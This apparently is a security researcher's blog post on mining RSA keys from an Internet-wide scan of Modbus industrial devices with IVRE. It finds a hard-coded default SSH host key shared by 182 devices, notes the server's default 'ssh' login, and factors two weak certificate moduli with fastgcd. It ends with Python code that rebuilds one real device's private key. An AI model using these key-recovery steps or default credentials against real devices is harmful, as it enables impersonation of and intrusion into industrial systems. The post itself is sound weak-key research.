Mining public keys with IVRE


In my previous post I explain how I have run a scan against Internet-exposed Modbus-enabled devices, and share the results obtained.

I have been asked several times why had I chosen to run a Zmap + Nmap scan instead of a Zmap + Zgrab, which would have been a lot faster.

Here is my answer: I wanted to scan the other services running on the Modbus-enabled devices, because:

  • They tells a lot about the device behind the IP address (the screenshots is a feature I really like, but anonymous FTP file listing is also great, for example)
  • They often show intersting weaknesses.


Let’s “mine” the public keys used on these devices. For that, IVRE has a convenient ivre.keys submodule, specialized in handling RSA (only, for now) keys from IVRE’s database, and a CLI tool getmoduli to extract, as the name says, RSA moduli from the database (of course, getmoduli uses ivre.keys).

First, if you have not done so yet, I suggest you read the previous post on this blog, download the data, and import it in an IVRE instance.

Then, let’s use getmoduli to dump the RSA moduli to a file, and display the first line of that file.

$ getmoduli > modbus-moduli
$ head -1 modbus-moduli
b384b[...]7dfb 1

Each line in the results file contains the modulus (in hexadecimal), then (separated by a space character) the number of use of the modulus in the database on different services (a service is same host and port), then (separated by a space character again), a comma-separated list of services where the modulus is used.

(Too) frequently used keys

So, let’s see if some of them get used too many times:

$ grep -v ' 1 ' modbus-moduli | wc -l

So we have 381 moduli used more than once. Some of them might be more or less OK (used on different ports of the same host or different hosts on the same network), but most are not.

Let’s find the most used modulus in that database:

$ sort -r -k 2 -n modbus-moduli | head -1
b1c1[...]7c35 182,[...]

This modulus is used by 182 different services, all of them on ports 22. Let’s browse the first one in IVRE’s Web UI (open your browser to the Web UI and add a filter containing only the IP address).

We can see an uncommon banner on port 22, and the MD5 hash a4:26:0d:9b:ac:5f:71:da:9d:82:3a:60:9a:e8:2b:65

So we add a new filter sshkey:a4:26:0d:9b:ac:5f:71:da:9d:82:3a:60:9a:e8:2b:65 and remove the filter with the IP address: we get 182 results as expected. By clicking the “Map” button we display a world map that shows results seem to concentrate in central Europe. We can ask for country and as top values to confirm that.


Nmap has correctly identified the service as being SSH most of the time, but has failed to identify the product (top value product:22 gives no result). This might be because it does not yet know this particular server. By chance, we have run the banner.nse script as part of the Nmap scan. We can ask for the script:22:banner top values to get the most common outputs of that script for port 22. We only get four results, all of them starting with SSH-2.0-SC123/SC143 CHIP-RTOS V, followed by the version number (68 IPs have version 1.54 out of the 109 hosts for which the banner.nse script has worked). If we look for “SSH CHIP-RTOS” in a search engine, we find an interesting page about that SSH server, where we learn that:

  • The RSA key with fingerprint a4:26:0d:9b:ac:5f:71:da:9d:82:3a:60:9a:e8:2b:65 is the built-in default (read: “hard-coded”) host key for that server.
  • The server also have a default account (user and password ssh).

We could imagine that some people who have not changed the RSA key have also kept the default user and password (but, of course, we are not going to check that).

Now, let’s see if, beside 22 and 502, the devices sharing this host key also share other services. For that, we look for port:open and portlist:open top values. We learn that:

  • All of the IP addresses with the SSH key a4:26:0d:9b:ac:5f:71:da:9d:82:3a:60:9a:e8:2b:65 within our data set have the TCP ports 21, 22, 23, 80 and 502 open.
  • Most of these IPs (160 out of 184) have only those ports open.

Finally, using the “top values” feature again, we can ask for modbus.deviceid to see that 124 out of 184 Modbus services have been identified by Nmap as “Solare Datensysteme GmbH xxxxxx V1.00” (probably something related to this).

Instant factorization of different RSA moduli with a common factor

Let’s apply the technique described in Mining Your Ps and Qs: Detection of Widespread Weak Keys in Network Devices to the data we have, using their tool fastgcd.

You should really read their paper, but to put it simply if you haven’t yet, we are going to compute the pair-wise GCD of all distinct RSA moduli.

After having installed fastgcd, we need to prepare a file with the moduli, one per line, and then call fastgcd on that file:

$ awk '{print $1}' modbus-moduli > modbus-only-moduli
$ fastgcd modbus-only-moduli
preprocessing input from modbus-only-moduli
preprocessing 1875 elements took 0.017s
multiplying numbers...
reading input.mpz...1875 elements, 350416 bytes (0.000s)
reading output.mpz...1875 elements, 17001 bytes (0.000s)
emitting results
writing vulnerable_moduli...ok
writing gcds...ok
emitting 2 results took 0.001s
run took 0.481s

Now that’s good news! Out of only 1875 different moduli, we got a couple of winners! The vulnerable moduli have one factor in common, which is listed (twice, one per result) in the generated file gcds. The file vulnerable_moduli file contains the moduli. We need to know the service behind these moduli:

grep -f vulnerable_moduli modbus-moduli
9388[...]387d 1
9686[...]2dd5 1

They belong to two different IP addresses, used in two different countries. The two ports run the same Web server (Virata-EmWeb/R6_0_1), probably share the same SSL certificate generator and the same (poor) random generator.

By looking closely to the certificates that come with the vulnerable RSA key, we can see they have been generated on 2001-01-01 at 00:00:49 and 00:01:11. Either people had nothing else to do on that day at that time than generating a new SSL certificate, or 2001-01-01 00:00:00 is the default date and time when the system first boots, and the self-signed certificate is generated during the first boot. It is highly probable that the random number generator only depends on the current time of the host clock (and possibly only in seconds) or it has insufficient entropy at boot time.

We can now generate the private keys for these public keys from a Python shell:

# import what we need
from ivre import keys
from ivre.db import db
from Crypto.PublicKey import RSA
from Crypto.Util.number import inverse

# read the common factor (the GCD of the two weak moduli)
common_factor = int(open('gcds').readline()[:-1], 16)

# create the public key object
pub_218_71_141_50 = keys.SSLRsaNmapKey(

# p is the common factor, and q is the modulus divided by the common
# factor
p, q = common_factor, pub_218_71_141_50.n / common_factor

# we can now use inverse() (from Crypto.Util.number) to compute the
# private exponent (which is the inverse of the public exponent
# modulo (p - 1) * (q - 1)) and create a private key object.
priv_218_71_141_50 = RSA.construct((pub_218_71_141_50.n,
    pub_218_71_141_50.e, inverse(pub_218_71_141_50.e, (p-1) * (q-1))))

# the private key object can now be used directly, or exported:
print priv_218_71_141_50.exportKey()
# [...]
# tQoE5wPwasMF+XMYS+7HOetcS95QRYOghXqlv6V4nto=

But that is not the worst part. The worst part is that the random number generator behind that device is really weak (at least at boot time).